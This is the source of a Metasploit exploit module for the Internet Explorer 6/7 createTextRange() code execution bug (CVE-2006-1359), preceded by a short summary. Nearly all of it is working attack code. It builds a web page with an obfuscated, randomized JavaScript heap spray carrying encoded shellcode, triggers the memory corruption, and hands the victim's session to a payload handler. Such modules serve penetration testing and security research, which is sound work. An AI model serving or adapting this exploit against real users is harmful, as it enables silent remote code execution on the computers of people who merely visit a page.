This Metasploit module exploits a code execution vulnerability in Microsoft Internet Explorer. Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point to a very remote, non-existent memory location. This Metasploit module is the result of merging three different exploit submissions and has only been reliably tested against Windows XP SP2. This vulnerability was independently discovered by multiple parties. The heap spray method used by this exploit was pioneered by Skylined.
cc7d3a0a5a7e5685948a23de177b0b8648ee1b05bb7f812884db09692b243c0f##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer createTextRange() Code Execution',
'Description' => %q{
This module exploits a code execution vulnerability in Microsoft Internet Explorer.
Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under
certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
to a very remote, non-existent memory location. This module is the result of merging three
different exploit submissions and has only been reliably tested against Windows XP SP2.
This vulnerability was independently discovered by multiple parties. The heap spray method
used by this exploit was pioneered by Skylined.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Faithless <rhyskidd [at] gmail.com>',
'Darkeagle <unl0ck.net>',
'hdm',
'<justfriends4n0w [at] yahoo.com>',
'anonymous',
],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2006-1359'],
['OSVDB', '24050'],
['MSB', 'MS06-013'],
['BID', '17196'],
['URL', 'http://secunia.com/secunia_research/2006-7/advisory/'],
['URL', 'http://seclists.org/lists/bugtraq/2006/Mar/0410.html'],
['URL', 'http://www.kb.cert.org/vuls/id/876678'],
['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html'],
['URL', 'http://www.shog9.com/crashIE.html'],
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2)', { 'Ret' => 0x746F9468 } ],
[ 'Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)', { 'Ret' => 0x3C0474C2 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 19 2006'))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops
nops = Rex::Text.to_unescape(make_nops(4))
# Generate a random XML namespace for VML
xmlns = rand_text_alpha(rand(30)+2)
# Randomize the javascript variable names
rnd = rand(3)
var_inputtype = ((rnd == 0) ? "checkbox" : ((rnd == 1) ? "radio" : "image"))
var_inp = "_"+rand_text_alpha(rand(6)+3)
var_tmp = "_"+rand_text_alpha(rand(6)+3)
var_payload = "_"+rand_text_alpha(rand(6)+3)
var_nopslide = "_"+rand_text_alpha(rand(6)+3)
var_slidesize = "_"+rand_text_alpha(rand(6)+3)
var_fillblock = "_"+rand_text_alpha(rand(6)+3)
var_memblock = "_"+rand_text_alpha(rand(6)+3)
var_heap = "_"+rand_text_alpha(rand(6)+3)
var_index = "_"+rand_text_alpha(rand(6)+3)
var_maxIndex = "_"+rand_text_alpha(rand(6)+3)
var_fillHeap = "_"+rand_text_alpha(rand(6)+3)
var_start = "_"+rand_text_alpha(rand(6)+3)
var_timer = "_"+rand_text_alpha(rand(6)+3)
rnd = rand(2)
var_setTimeout = (rnd == 0) ? "setTimeout('#{var_fillHeap}()', 5)" : ""
var_setInterval = (rnd == 1) ? "setInterval('#{var_fillHeap}()', 5)" : ""
# Build out the message
content = %Q|
<html >
<head >
<script language = "javascript" >
var #{var_payload} = unescape("#{shellcode}") ;
var #{var_nopslide} = unescape("#{nops}") ;
var #{var_slidesize} = 20+#{var_payload}.length ;
while (#{var_nopslide}.length<#{var_slidesize})
{
#{var_nopslide} += #{var_nopslide} ;
}
var #{var_fillblock} = #{var_nopslide}.substring(0,#{var_slidesize}) ;
var #{var_memblock} = #{var_nopslide}.substring(0,#{var_nopslide}.length-#{var_slidesize}) ;
while(#{var_memblock}.length+#{var_slidesize} < 0x40000)
{
#{var_memblock} += #{var_fillblock} ;
}
var #{var_heap} = new Array() ;
var #{var_index} = 0 ;
var #{var_maxIndex} = 2020 ;
function #{var_fillHeap}() {
#{var_timer}.innerHTML = Math.round((#{var_index}/#{var_maxIndex})*100) ;
if (#{var_index}<#{var_maxIndex}) {
#{var_heap}.push(#{var_memblock}+#{var_payload}) ;
#{var_index}++ ;
#{var_setTimeout}
}
else {
#{var_timer}.innerHTML = 100 ;
#{var_inp} = document.createElement("input") ;
#{var_inp}.type = "#{var_inputtype}" ;
#{var_tmp} = #{var_inp}.createTextRange() ;
}
}
function #{var_start}() {
#{var_setTimeout}#{var_setInterval}
}
</script >
</head >
<body onload = "#{var_start}()" >
<span id = "#{var_timer}" > % </span >
</body >
</html >
|
content = Rex::Text.randomize_space(content)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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